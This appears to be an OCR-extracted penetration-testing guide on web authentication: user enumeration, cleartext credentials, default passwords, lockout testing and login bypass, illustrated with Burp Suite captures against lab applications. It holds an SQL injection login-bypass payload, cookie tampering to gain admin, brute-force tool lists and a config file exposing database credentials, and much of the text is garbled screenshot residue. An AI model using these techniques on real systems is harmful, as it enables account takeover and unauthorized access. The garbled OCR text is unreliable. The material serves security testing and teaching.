© D () S	elete checked users. et the Role of checked users to:	Subscriber Administrator								
Delet	e Users									
You have s	You have specified these users for deletion:									
• ID #	4: abc									
What shou	ld be done with posts and links o	owned by this user?								

Oelete a	all posts a	nd links.
----------	-------------	-----------

O Attribute all posts and links to: 555-555-0199@example.com 🗸

Confirm Deletion

4. Testing for Account Enumeration and Guessable User Account

Black box Testing

In this case, the tester knows nothing about the specific application, username, application logic, error messages on log in page, or password recovery facilities. If application is vulnerable, the tester receives a response message that reveals, directly or indirectly, some information useful for enumerating users.

HTTP Response message

• Test for valid user with wrong password

WORDPRESS						
Error: Incorrect password.						
Username:						
admin						
Password:						
Remember me						

POST /wordpress/wp-login.php HTTP/1.1 Host: 192.168.222.136 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.222.136/wordpress/wp-login.php Content-Type: application/x-www-form-urlencoded Content-Length: 59 Cookie: acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=n38qhliueo73ab95aesrubp132 Connection: close Upgrade-Insecure-Requests: 1

log=admin&pwd=1&submit=Login+%C2%BB&redirect_to=wp-admin%2F

• Test for a nonexistent username

WORDPRESS	
Error: Wrong username.	
Username:	
aoaoao	
Password:	

Another way to enumerate users

• Analyzing the error code received on login page

A https://www.zotero.org/admin	🚥 🔽 🏠 🔍 Search
	Log In
ZOTERO	
200010	time opgrade
Home Groups People Documentation Forums Get Involved	Search for people
Home > People > admin	
admin	Following (0)
auiiiii	admin is not following anyone.
	Followers (0)
	admin has no followers
	Groups
Request Response	
Raw Headers Hex HTML Render	
HTTP/1.1 200 OK	
Date: Mon, 25 Dec 2017 08:28:34 GMT	
Server: Apache/2.4.27 (Amazon)	
Expires: Thu, 19 Nov 1981 08:52:00 GMT	
Cache-Control: no-store, no-cache, must-revalidate	
Pragma: no-cache	
X-Frame-uptions: SAMEURIGIN	
Content-Ionsth: 12562	
Concent-Length: 1282	
Content-Ture: text/html: charget=UTV-9	
Concent-Type. Cext/ntml; charset-off-6	bDowning: prolond
series-framspore-securicy: max-age-sissecur; includesu	bbomains; preioad



Home > Error

Error

Page Not Found

The page you were looking for could not be found

Request Response							
Raw Headers Hex HTML Render							
HTTP/1.1 404 Not Found							
Date: Mon, 25 Dec 2017 08:29:40 GMT							
Server: Apache/2.4.27 (Amazon)							
Expires: Thu, 19 Nov 1981 08:52:00 GMT							
Cache-Control: no-store, no-cache, must-revalidate							
Pragma: no-cache							
X-Frame-Options: SAMEORIGIN							
Vary: Accept-Encoding							
Content-Length: 9276							
Connection: close							
Content-Type: text/html; charset=UTF-8							
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload							

• Analyzing URLs and URLs re-directions





Analyzing a message received from a another authentication function (recovery, reset pass, register)

• Reset password function example

```
POST /Account/ResetPassword HTTP/1.1
Host: hackyourselffirst.troyhunt.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://hackyourselffirst.troyhunt.com/Account/ResetPassword
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Cookie: _ga=GA1.2.487883853.1513329564; ASP.NET_SessionId=wk4bdz5te5tnp2t331zwgtpv; VisitStar1
ARRAffinity=66555a772ced6d74f4daf5cd9290fbe0clc05d60b593e8f66b4d24d12609a0f2; _gid=GA1.2.1005:
Connection: close
Upgrade=Insecure=Requests: 1
```

Request Response									
Raw Headers Hex HTML Render									
Supercar Showdown									
Leaderboard									
 <u>Register</u> <u>Log in</u> 									
Reset password.									
 The specified user does not exist. 									
Enter your email address to reset. Email									
ia@gmail.com									

Guessing Users

In some cases the user IDs are created with specific policies of administration or company, such as:

EPD.	Welcome to FPT internal home page
Home Secure mail	
Ext mail HCM	
Change Password	
FPT Website Check m	iail of your_name@fpt.com.vn in HCM
Internal Website 🛛 🕨	
Internal Finance 🔹 🕨	
Download	
In HN	
In HCM	
Contact Us	

Tools:

- Manual test
- Automate tools such as: WordPress enumeration username tools like wpscan



Authentication Testing

1. Testing for Credentials Transported over an Encrypted Channel

Black Box Testing

In the following examples we will use Burp Suite to capture packet headers and to inspect

the them Example 1: Sending data with GET/POST method through HTTP

Suppose that the login page presents a form with field User, Pass, and the Submit button to authenticate and give access to application.

1077	http://192.	168.222.136	3	GET	/mutillidae/index.php	p?page=user-info.ph	\checkmark	200	53317	HTML	php	,	
	Ŷ												
Requ	est Resp	onse											
Raw	Params	Headers	Hex										
GET /1	utillida	e/index.	php?page	=user-in	fo.php&username	=a&password=a&us	er-info-	php-submit-b	utton=Vie	w+Account	+Details	HTTP/1.1	
Host:	192.168.	222.136							-				
User-A	.gent: Mo	zilla/5.	0 (Windo	ws NT 10	.0; Win64; x64;	rv:58.0) Gecko/:	20100101	Firefox/58.	0				
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept: newspace.com/Results.com/Results.com/Results.com/Results.com/Results.com/Results.com/Results.com/Results													
Accept	-Encodir	la: azip.	deflate	5									
Refere	r: http:	//192.16	8.222.13	6/mutill	idae/index.php?	page=user-info.pl	ıp						
Cookie	: showhi	nts=1; d	bx-postm	et a=grab	it=0-,1-,2-,3-,	4-,5-,6-&advance	istuff=0	-,1-,2-; aco	pendivids	=swingset	.jotto,ph	pbb2,redmine; acgroupswithpersist=	nada;
PHPSES	SID=4214	83ateqrq	concumvq	sufgo2									
Connec	tion: cl	ose											
Upgrad	le-Insecu	ire-Reque	sts: 1										
\frown													
?	< +	>	Type a sea	arch term									
1022	http://192.	168.222.136	5	POST	/dvwa/login.php		\checkmark	302	558	HTML	php		
									_				
Requ	est Resp	onse											
Raw	Params	Headers	Hex										
		1											
POST	dvwa/log	Jin.php H	TTP/1.1										
Host:	192.168.	222.136	0 (Winder		D. Ninch. uch			Ring 6-11/50 0					
User-	gent: no	zilla/5.	U (Windo	WS NT LU	.U; Win64; X64;	rv:58.0) Gecko/2	TOTOTOT .	Firefox/58.U					
Accept	: text/r	cmi, appi	ication/	zucmi+xm	1, appileation/ xm	ut;d=0.a'v/v;d=0.	5						
Accept	-Languag	je: en-GB	,en;q=0.	5									
Accept	-Encodir	ig: gzip,	deriate	C (America ()									
Refer	er: http:	//192.16	8.222.13	6/dVWA/1	ogin.php								
Conter	t-Type:	applicat	10n/x-ww	w-form-u	rlencoded								
Conter	t-Lengtr	1:41											
COORI	securi	CY=10W;	dbx-post:	meta=gra	bit=0-,1-,2-,3-,	4-,5-,6-&advance	asturr=0	-,1-,2-; aco	pendivids	swingset	,jotto,pnp	obb2,redmine; acgroupswithpersist=n	ada;
PHPSE	001D=4214	osacedrq	comemmud	surgo2									
conne	cion: cl	.ose 											
opgra	e-insecu	re-redue	SUS: I										
userna	me=admir	apasswor	d=admin&	Login=Lo	gin								

So the data is transmitted without encryption and a malicious user could intercept the username and password by simple sniffing the network with a tool like Wireshark

	http.request.method == "0	GET"					Expression +
No	. Time	Source	Destination	Protocol	Length	Info	
	174 9.324316832	192.168.222.148	192.168.222.136	HTTP	644	GET	/mutillidae/index.php?page=user-info.php&username=a&password=a&us
4	190 9.457175673	192.168.222.148	192.168.222.136	HTTP	731	GET	/mutillidae/stvles/global-stvles.css HTTP/1.1 ▶
F	Frame 174: 644 byte:	s on wire (5152 bits)	, 644 bytes capture	d (5152 bit	s) on :	inter	rface 0
•	Ethernet II, Src: V	mware_d3:39:c8 (00:0c	:29:d3:39:c8), Dst:	Vmware_5d:	2a:56	(00:0	0c:29:5d:2a:56)
1	Internet Protocol V	ersion 4, Src: 192.16	8.222.148, Dst: 192	.168.222.13	6		
•	Transmission Contro.	l Protocol, Src Port:	49000, Dst Port: 8	0, Seq: 1,	Ack: 1	, Ler	n: 578
-	Hypertext Transfer	Protocol					
	GET /mutillidae/i	ndex.php?page=user-ir	fo.php&username=a&p	assword=a&u	ser-in	fo-pl	hp-submit-button=View+Account+Details HTTP/1.1\r\n
	Host: 192.168.222	.136\r\n					
	User-Agent: Mozil	la/5.0 (X11; Linux i6	86; rv:52.0) Gecko/	20100101 Fi	refox/	52.0	/\r\n
	Accept: text/html	,application/xhtml+xm	l,application/xml;q	=0.9,*/*;q=	0.8\r\	n	
	Accept-Language:	en-US,en;q=0.5\r\n					
	Accept-Encoding:	gzip, deflate\r\n					

•) 🔳 🖊	🗴 🛅 🗋 🗙 ຄ	९, 4 ⇒ .⊅ ∓	¥ 🗐 🕏	⊛୍ତ୍ ©୍	++	X) 🎫
Filter:	http.request	.method == "POST"	-	Expression Cl	ear Apply Sav	ve		
No.	Time	Source	Destination	Prot	ocol Length	Info		
12	5 6.7476640	000 192.168.222.129	192.168.222.	136 HTTP	671	POST	/dvwa/	login.p
▶ Fram	ne 125: 671	bytes on wire (5368	bits), 671 bytes c	aptured (5368	bits) on int	erface		
▶ Ethe	rnet II, Sr	c: Vmware_f4:f3:27 (00:0c:29:f4:f3:27)	, Dst: Vmware_	8f:ca:00 (00	0c:29	9:8f:ca	:00)
▶ Inte	rnet Protoc	ol Version 4, Src: 1	92.168.222.129 (19	2.168.222.129)	, Dst: 192.1	.68.222	2.136 (192.16
▶ Trar	smission Co	ntrol Protocol, Src	Port: 39248 (39248), Dst Port: 8	0 (80), Seq:	952,	Ack: 1	816, L
🕨 Нуре	rtext Trans	fer Protocol						
→ HTML	. Form URL E	ncoded: application/	x-www-form-urlenco	ded				
▶ Fo	rm item: "u	sername" = "admin"						
▶ Fo	rm item: "p	assword" = "admin"						
> Fo	rm item: "L	ogin" = "Login"						

Example 2: Sending data with GET/POST method through HTTPS

Suppose that our web application uses the HTTPS protocol to encrypt the data we are sending (or at least for transmitting sensitive data like credentials). In this case, when logging on to the web application the header of our POST request would be similar to the following:



Example 3: sending data with GET/POST method via HTTPS on a page reachable via HTTP

Imagine we having a web page reachable via HTTP and that only data sent from the authentication form are transmitted via HTTPS



We can see that our request is addressed to <u>www.example.com/login</u> using HTTPS. But if we have a look at the Referer-header (the page from which we came), it is <u>www.example.com/</u> And is accessible via simple HTTP. Although we are sending data via HTTPS, this deployment can allow SSLStrip attacks (a type of Man-in-the-middle attack)



You can see that the data is transferred in clear text in the URL and not in the body of the request. But we must consider that SSL/TLS is a level 5 protocol, a lower level than HTTP, so the whole HTTP packet is still encrypted making the URL unreadable to a malicious user using a sniffer. Nevertheless as stated

before, it is not a good practice to use the GET method to send sensitive data to a web application, because the information contained in the URL can be stored in many locations such as proxy and web server logs.

2. Testing for default credentials

How to Test

Testing for default credentials of common applications

Try default usernames such as: admin, administrator, root, system, guest, operator, superuser.

🥖 🦰 Requ	🖉 🤷 Request to https://phpapp.infosecaddicts.com:443 [104.25.166.6]												
Forward	Forward Drop Intercept is on Action												
Raw Para	ms Headers Hex												
POST request													
Туре	Name	Value											
Cookie	cfduid	dc6029645e59a793349b3b819dae03f6e1564954288											
Cookie	_ga	GA1.2.781573113.1564954291											
Cookie	_gid	GA1.2.631839643.1564954291											
Cookie	PHPSESSID	apk77s2jhpq4lfrqs1jnge0qk2											
Cookie	auc	4e20d75b16c5e988ea135b1a1af											
Cookie	tawkuuid	e::infosecaddicts.com::AptkfxgFF6GWh88K8Tq8ZwvukfPHuRU 5Z9KZtd825wOcntFQ sgNYBMx4cBhX//::2											
Cookie	stripe_mid	b53f835b-625c-4a04-8fe8-075c7bbca7cf											
Cookie	_fbp	fb.1.1564955153850.417041806											
Cookie	_gat	1											
Body	username	123456											
Body	response	be263940a19f635f645cc641bfe5b17d											

• Application administrative users are often named after the application or organization. It mean if you are testing an application named "ABC", trying abc/abc or any other similar combination as username and password.

ACMELAPTOP	Register			
es	Home	Buy	Career	About us
paq	USERNAME:			
	PASSWORD:			
way				
ətt		Login		
			No U	User found, please <u>register</u> .
ba				

=		
	7785626766174207765626766174	💿 Text 🔘 Hex 🃿
		Decode as
		Encode as
		Hash
		Smart decode
		Tayt Hay
	webgoat	
		Decode as
		Encode as
		Hash
		Smart decode

Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts

Using above username with blank passwords.



Review the page source code and JavaScript, Look for account names and password written in comments.

```
</script>
</head>
<body topmargin="0" leftmargin="0">

\langle tr \rangle
\langle tr \rangle
\langle tr \rangle
\langle tr \rangle
<strong> Hey ! Shinobibughunter Wel-Come</strong>
\langle tr \rangle
```

Check for configuration files that contain usernames and passwords.

📮 root@192.168.222.136 🚅 New Session					
🗎 My documents 🔹 🚰 🔽 🦛 🖘 🔹 💼 💼 🏫 🎜 🗞	📙 phpmyadmin 🔻 🚰 🔽 🛭 🗢 🔹 🖡	2	🖉 🔯 Find Files 🎭		
🕼 Upload 👻 🌌 Edit 🔹 💥 🛃 🕞 Properties 🔤 New 👻 💽 💌	📲 Download 👻 📝 Edit 🔹 🗶 🛃 🎝 Prope	rties 🛗	New - + - 🗸		
C:\Users\manhpham\Documents\	/etc/phpmyadmin/				
Name Size Type Changed I / (tc/phpmyadmin/config-db.php - root@192.168.22 - X I D C I D C I Encoding · "## Dy /UST/SDIT/UDCONTLE-generate-Include Incoding · ## by default this file is managed via ucf, so you shot ## by default this file is managed via ucf, so you shot ## worry about manual changes being silently discarded. ## above too. ## above too. ## Sdbuser='phpmyadmin'; \$dbuser='phpmyadmin'; \$dbuser='phpmyadmin'; <t< th=""><th>Name . packe.conf config.footer.inc.php config.db.php httpsswd.setup lightupd.conf phpmyadmin.service</th><th>Size 1 KB 1 KB 4 KB 4 KB 1 KB 1 KB 1 KB</th><th>Changed 2/23/2018 10:07:38 AM 4/14/2010 3:31:35 PM 7/5/2009 11:42:49 PM 1/3/2010 9:46:05 PM 10/12/2010 2:16:29 AM 8/24/2009 8:63:63 AM 7/5/2009 11:42:49 PM 10/19/2009 10:25:38 PM</th><th>Rights NVXT-XT-X TVV-T-rT TVV-T-rT TVV-T-rT TVV-T-rT TVV-T-rT TVV-T-rT</th><th>Owner root root root root root root</th></t<>	Name . packe.conf config.footer.inc.php config.db.php httpsswd.setup lightupd.conf phpmyadmin.service	Size 1 KB 1 KB 4 KB 4 KB 1 KB 1 KB 1 KB	Changed 2/23/2018 10:07:38 AM 4/14/2010 3:31:35 PM 7/5/2009 11:42:49 PM 1/3/2010 9:46:05 PM 10/12/2010 2:16:29 AM 8/24/2009 8:63:63 AM 7/5/2009 11:42:49 PM 10/19/2009 10:25:38 PM	Rights NVXT-XT-X TVV-T-rT TVV-T-rT TVV-T-rT TVV-T-rT TVV-T-rT TVV-T-rT	Owner root root root root root root

Check for password hints.



password: password

Testing for default password of new accounts?

Tools

Burp Intruder Hydra Nikto Medusa

References

CIRT http://www.cirt.net/passwords

3. Testing for Weak lock out mechanism

Overview

Account lockout mechanisms are used to mitigate brute force password guessing attack. Account are typically locked after 3 to 5 unsuccessful login attempts and can only be unlocked after a predetermined period of time, via a self-service unlock mechanism, or intervention by an administrator. Account lockout mechanisms require a balance between protecting accounts from unauthorized access and protecting users from being denied authorized access.

Test Objective

- Evaluate the account lockout mechanism's ability to mitigate brute force password guessing
- Evaluate the unlock mechanism's resistance to unauthorized account unlocking.

How to test

Using Burp Intruder & Burp Repeater to Brute force target site

Target	t Proxy	Spider	Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options	Alerts	<u>] </u>	
1 ×	2 × 3	× 4 ×												
Target	Position	ns Paylo	ads Opti	ions										
Target	Position ayload P status type: Status type:	is Paylo ositions e position Sniper context co	ads Opti as where pa as where pa as where pa as where pa as a start of the start as a start of the start of the start of the start as a start of the start of the start of the start of the start as a start of the	ons 115 HTTP// 115 HTTP// Compatib 5-53a73 	be inserted	into the base	request. The	: attack type (Win64; x6 ga=QA1.2. 1350 i at af ur00 + 585 KG	determines t	he way in which pa ε/5.0) .1564954291; FQ+agKTEK x40Eh	yleads are assig gid=CA1.2.63 X//112;ats	1839643	IV oad positions - see help for full details.	Start attack Clear § Auto § Refresh
					1									



Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts

•••						ntruder af	tack 2		
Attack Sa	ve Colun	nns							
Results	Target	Positions	Payloads	Options					
Filter: Sho	wing all ite	ems							?
Request	A Payload	ł		Status	Error	Timeout	Length	Comment	
0				200			12291		
1	1			500			5917		
2	admin			500			5691		
3	login			500			5691		
4	sign-in	1		500			5007		
5	011-	1		500			,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,		
Request	Respon	ise							
		landara (1							
Raw Pa	arams r	leaders H	lex						
GET /book	detail.	aapx?id='	HTTP/1.1	0.0					
Accept-En	coding:	gzip, de	flate	On					
Accept: *	:/*								
Accept-La	inguage: .+• Nozi	еп 11а/5-0 (/	compatible	. NOTE 0	0. Window	a N T 6 1	• Win64 •	$x64 \cdot \pi rider + (5.0)$	
Connectio	n: clos	e	COMPACIDIE	,	0, 1111004	a MI 0.1	,,	x01, 11108/12, 510)	
Referer:	https:/	/aspdotne	tapp.infos	ecaddicts	.com/Defa	ult.aapx			
Cookie:	_cfduid 2 69189	=dc602964: 0649 1564:	5659a79334 054201 DH	9b3b819da	e03f6e156	4954288 041froal	_ga=GA1 ingeOok2	.2.781573113.1564954291;	
tawkooi	d=e::in	fosecaddi	cta.com::#	ptkfxgPP6	GWh88K8Tg	85wvukfP	HuRU+5891	KStd825wOcntFQ+agNYBMx4cBhX//::2;	Ψ.
?	: +	> 7	ype a search	term					0 matches
Finished									

Raw Params Headers Hex CDT /showfile.pbp?filename=contactus.txt HTTP/1.1 host: phpapp.infcosecadicita.com Vsatr_Agent: Nozilla/5.0 (Nacintosh; Intel Nac OS X 10.13; rvr68.0) Gecko/20100101 # Firefor/68.0 Accept: text/htll,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 #	Response Raw Headers He	x HTML Render
Accept-Encoding: gzlp, deflate Referer: https://phpapp.infosecaddicts.com/	Categories	Home Buy Career About us Contact
Cookie: cfduid=dc6029645e59a793349b3b819dae03f6e1564954288; ga=ga1,2,781573113,1564954291; gid=ga1,2,631839643,1564954291;	> Acer	
PHPSESSID=apk77a2jhpg4lfrgaljngeOgk2;auc=4e20d75b16c5e988eal35b1a1af; tawkuuid=e::infoaecaddicts.com::AptkfxgFF6GWh88K8Tq88wvukfPHuRU+589KStd825wOcntFQ+	> Compaq	contactus
agNYEM:x4cBhX//::2;stripe_mid=b53f835b-625c-4a04-8fe8-075c7bbca7cf; _fbp=fb.l.1564955153850.417041806; _gat=1	> Dell	
Upgrade-Inaecure-Kequeata: 1 Cache-Control: max-age=0	> Gateway	
	> Hewlett	1116 Old Brike Road, Kensas City, MA
	> Ibm	Phone 1 800 LABTOR
	> Sony	
	 Toshiba 	Email -
		http://acmelaptop.com
Ļ		Home Contact Log in

Review source code

```
2 <form method="POST" name="fname" action="">
 3 
 4 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
 5 "http://www.w3.org/TR/html4/loose.dtd">
 6 <html><head>
7 <title>Acme laptop</title>
           function login() {
16
               var loginForm = document.getElementById("loginForm");
               if (loginForm.username.value == "") {
                  alert("Please enter your user name.");
                  return false;
               if (loginForm.password.value == "") {
    alert("Please enter your password.");
21
23
24
25
                  return false;
               }
              var submitForm = document.getElementById("submitForm");
               submitForm.username.value = loginForm.username.value;
               submitForm.response.value =
28
                  hex_md5(loginForm.challenge.value+loginForm.password.value);
29
               submitForm.submit();
           }
        </script>
32 </head>
33 <body topmargin="0" leftmargin="0">
33 <body topmargin="0" leftmargin="0">
34 
35 
36 
37 
38 
39 
40 <img src="images/logo.bmp" alt="online buy" width="189" height="72">
41 &nbsp;

42 
43 
44 
45 
46 <img src="images/index 05.gif" alt="online buy" width="69" height="72">
```

• Make sure website have accout lockout policy – Test for an account indeed lock after a certain number of fail login

Sign up to get your own personalized Reddit experience!

By having a Reddit account, you can subscribe, vote, and comment on all your favorite Reddit content. Sign up in just seconds.



Make sure application response limited timeout for user and verify limited timeout is correctly



298	https://www.reddit.com	POST	/api/login/mustafkerrigan		200	1004	JSON		(151.101.9.140	session_tracke.
299	https://e.reddit.com	POST	/v2	I	200	596			(151.101.9.140	
4)		Je
						- Annalysis					
Req	uest Response										
Raw	Headers Hex										
Conte	nt-Length: 99										
Accep	t-Ranges: bytes										
Date:	Wed, 03 Jan 2018 09	:11:24 GM	ΥT								
Via:	1.1 varnish										
Conne	ection: keep-alive										
X-Ser	ved-By: cache-sin180	23-SIN									
X-Cac	he: MISS										
X-Cac	he-Hits: O										
X-Tim	ner: S1514970684.8604	76,VS0,VE	821								
Serve	er: snooserv										

{"json": {"errors": [["INCORRECT_USERNAME_PASSWORD", "incorrect username or password", "passwd"]]}}

321	https://www.reddit.com	POST	/api/login/mustafkerrigan	V		200	1030	JSON
Reque	st Response							
Raw	Headers Hex							
X-Moos	e: majestic							
Strict	-Transport-Security:	max-age	=15552000; includeSubDomain	ıs; prel	oad			
Conten	t-Length: 124							
Accept	-Ranges: bytes							
Date:	Wed, 03 Jan 2018 09:	17:01 GM	П					
Via: l	.l varnish							
Connec	tion: keep-alive							
X-Serv	ed-By: cache-sin1802	8-SIN						
X-Cach	e: MISS							
X-Cach	e-Hits: O							
X-Time	r: S1514971021.73295	4,VS0,VE	532					
Server	: snooserv							

{"json": {"ratelimit": 179, "errors": [["RATELIMIT", "you are doing that too much. try again in 2 minutes.", "ratelimit"]]}}

329	https://www.reddit.com	POST	/api/login/mustafkerrigan	V	200	1385	JSON		
330	https://www.reddit.com	GET	/user/AllYourEyez		200	122260	HTML	overview for AllYour	
331	https://e.reddit.com	POST	/v2	 ✓ 	200	596			
4									

Request Response

Raw Headers Hex

Strict-Transport-Security: max-age=15552000; includeSubDomains; preload Content-Length: 205 Accept-Ranges: bytes Date: Wed, 03 Jan 2018 09:22:32 GMT Via: 1.1 varnish Connection: keep-alive X-Served-By: cache-sin18023-SIN X-Cache: MISS X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1514971351.260291,VS0,VE866 Server: snooserv

{"json": {"errors": [], "data": {"need_https": true, "modhash": "qdxxx26v0zc3439a64184bea99d0e136bcdecf27e3bb946565", "cookie": "33658984317,2018-01-03T01:22:31,6880d8f7a6243b2ff48e5169372b44beef339c98"}}

Make sure application warn user when they are approaching lockout thread hold A CAPTCHA may hinder brute force attack, but they can not replace a lockout mechanism.

Username	
Email	
Confirm Email	
Password	
Verify Password	
V I'm not a robot	
Register	

Try for bypass lockout time out

List all ways to unlocked account of website, Make sure they are secure

4. Testing for bypassing authentication schema

How to test

Parameter modification

When the application verifies a successful log in on the basis of a fixed value parameters. A user could modify these parameters to gain access to the protected areas without providing valid credentials.

	https://phpapp.infosecaddicts.co	m/chekout.php	••• 🛛 php 🟠	👱 III\ 🗊 🕎 📥
ACMELAPTOP			Hey ! Shinobibughunte	r Wel-Come
ategories	Home	Buy	Career	About us
Acer	BUY			
Compaq				
Dell	Fill buy on Acme			
Gateway	Hidden fie	ld [hidamoun	t]	
Hewlett	i nuuch ne		22000	
lbm				
Sony	Item Name:	Hidden fie		1
Toshiba		dell1		
		Hidden fi	eld [biddername]	shinohihudhunter
	Name:			Shirlosisughantar
		sninobibugnunter		
	E-mail:	Hidden fie	eld [email] shinobibughu	inter@gmail.cor
		shinobibughunter@g	mail.com	
	Phone No:			6
		3144237606		
	Quantity:	1 🗘		
	Update Quantity			

 Raw
 Params
 Headers
 Hex

 POST / Aithenticate.php HETP/Ll
 Notice photometry
 Notice ph

username=123&response=bd1b6589e8e1250350d3afa0755b8735

Raw Params H	Headers Hex					
POET /authenticate.php HTTP/l.l Host: phpepp.infosecdictes.com						
User-Agent: Nozi Accept: text/htm	uaer-Agent: Kozilla/3.0 (Nacintoah; Intel Nac OS X 10.13; rv:68.0) Gecko/20100101 Pirefox/68.0 Accept: text/html.application/xhtml:xml.application/xml:ge-0.;+/;q=0.8					
Accept-Language: Accept-Encoding:	en-US,en;g=0.5 gzip, deflate					
Referer: https:// Content-Type: ap	/phpapp.infosecaddicts.com/login.php plication/x-www-form-urlencoded)?error=Invalid+User-Name£username=12;				
Content-Length: Connection: clos						
tawkpuid=e::in:	foaecaddicta.com::AptkfxgPF6GWh88K8T	Construction of the second sec	<pre>x4cBhX//::2;atripe_mid=b53</pre>	gaijngeugk2;		
Upgrade-Insecure	-Requests: 1	5408.1565250129; _gat-1				
username=123£res	ponse=bd1b6589e8e1250350d3afa0755b87	735				
Register						
Home	Buy	Career	About us	Contact		
Home	Buy	Career	About us	Contact		
	Buy	Career	About us	Contact		
Home USERNAME:	Buy	Career	About us	Contact		
Home USERNAME: PASSWORD:	Buy	Career	About us	Contact		
Home USERNAME: PASSWORD:	Buy	Career	About us	Contact		
Home USERNAME: PASSWORD: Hidden	Buy	Career	About us	Contact		
Home USERNAME: PASSWORD: Hidder	^{виу} n field [challeng	Career ge] a36a5cb7958ce93ee58fd13	About us	Contact		
Home USERNAME: PASSWORD: Hidder	виу n field [challeng	Career ge] a36a5cb7958ce93ee58fd13	About us	Contact		
Home USERNAME: PASSWORD: Hidder	^{виу} n field [challeng	Career ge] a36a5cb7958ce93ee58fd13	About us	Contact No User found, please <u>register</u> .		

Session manipulate

Intercept HTTP history WebSockets history Options	
Request to http://192.168.222.136:80 Forward Drop Intercept is on Action Raw Params Headers Hex	
GET /mutillidae/index.php?popUpNotificationCode=AU1 HTTP/1.1	
Host: 192.168.222.136 User-Agent: Mozilla/S.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gec Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*; Accept-Encoding: gzip, deflate Referer: http://192.168.222.136/mutillidae/index.php?page=login.pr Conket: showhints=1; username=user; uid=23; PHPSESSID=64j19fe4qjbt Connection: close Upgrade-Insecure=Requests: 1 Cache-Control: max-age=0	cko/20100101 Firefox/57.0 ;q=0.8 hp&popUpNotificationCode=L0U1 tjmcp4vovgvkbq1; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
2 × 3 × 4 ×	
Go Cancel < * > *	Target: http://192.168.222.136
Request	Response

Request			Response	
Raw Params	Headers Hex			Raw Headers Hex HTML Render
GET request to /mu	tillidae/index.php			HTTP/1.1 200 0K Date: Mon, 15 Jan 2018 10:45:09 GMT
Туре	Name	Value	Add	Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-lubuntu4.30 with Suhosin-Patch
URL	popUpNotificationCode	AU1		Phusion Passenger/4.0.38 mod perl/2.0.4 Perl/v5.10.1
Cookie	showhints	1	Remove	X-Powered-By: PHP/5.3.2-lubuntu4.30
Cookie	username	user		Logged-In-User: admin
Cookie	uid	1	Up	Vary: Accept-Encoding
Cookie	PHPSESSID	64jl9fe4qjbtjmcp4vovgvkbq1		Content-Length: 46120
			Down	Connection: close Content-Type: text/html

SQL Injection

SQL Injection is a widely known attack technique. This section is not going to describe this technique in detail as there are several sections in this guide that explain injection techniques beyond the scope of this section.

Raw Params Headers Hex
POST /authenticate.php HTTP/1.1
Hoat: phpapp.infosecaddicts.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:68.0) Gecko/20100101 Pirefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
Referer: https://phpapp.infosecaddicts.com/login.php?error=Invalid+User-Name&username=123
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Connection: close
Cookie: <u>ofduid=do6029645a59a793349b3b819dae03f6e1564954288; ga=cal.2.781573113.1564954291; PHPEESSID=apk77a2jhpq4lfrqaljnge0qk2; auc=4e20d75b16c5a _tawkuuid=e::infoaeoaddicta.com::AptkfgPF6GWh88K8Tg88wvukfPHuRU+589K8td825wOontPQ+agNYENx4oBhX//::2;atripe_mid=b53f835b-625o-4a04-8fe8-075o7bbca7o _fbp=fb.l.1564955153850.417041806; gid=cal.2.1555835408.1565230129; gat=1</u>
Upgrade-Inaecure-Regueata: 1
username=123&response=bd1b6589e8e1250350d3afa0755b8735
Dealer Strates Internet

 Raw
 Params
 Headers
 Hex

 Post
 /suthenticates.php.HTDP/1.1

 Hoat:
 phpp.infosecaddicts.com

 Usar-Agent:
 Notif.
 Notif.

 Accept:
 Active
 Notif.

 Accept:
 Notif.
 Notif.

 Accept:
 Notif.
 Notif.

 Accept:
 Notif.
 Notif.

 Notif.
 Notif.
 Notif.

 Accept:
 Notif.
 Notif.

 Notif.
 Notif.
 Notif.

 Content:
 Optim.
 Notif.

 Content:
 O

Jaername=a' or l=l - - + £reaponae=a'

Original request Edited request Response
Raw Headers Hex HTML Render
HTTP/1.1 302 Found
Date: Mon, 15 Jan 2018 08:42:03 GMT
Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-lubuntu4.30
mod_per1/2.0.4 Per1/v5.10.1
X-Powered-By: PHP/5.3.2-lubuntu4.30
Set-Cookie: username=admin
Set-Cookie: uid=1
Location: index.php?popUpNotificationCode=AU1
Logged-In-User: admin
Vary: Accept-Encoding
Content-Length: 50385
Connection: close
Content-Type: text/html

Direct page request (Forced Browsing)

If a web application implements access control only on the log in page, the authentication schema could be bypassed.



Go Cancel < * > *	Target: http://192.168.222.136 🖉 💡
Request	Response
Raw Params Headers Hex	Raw Headers Hex HTML Render
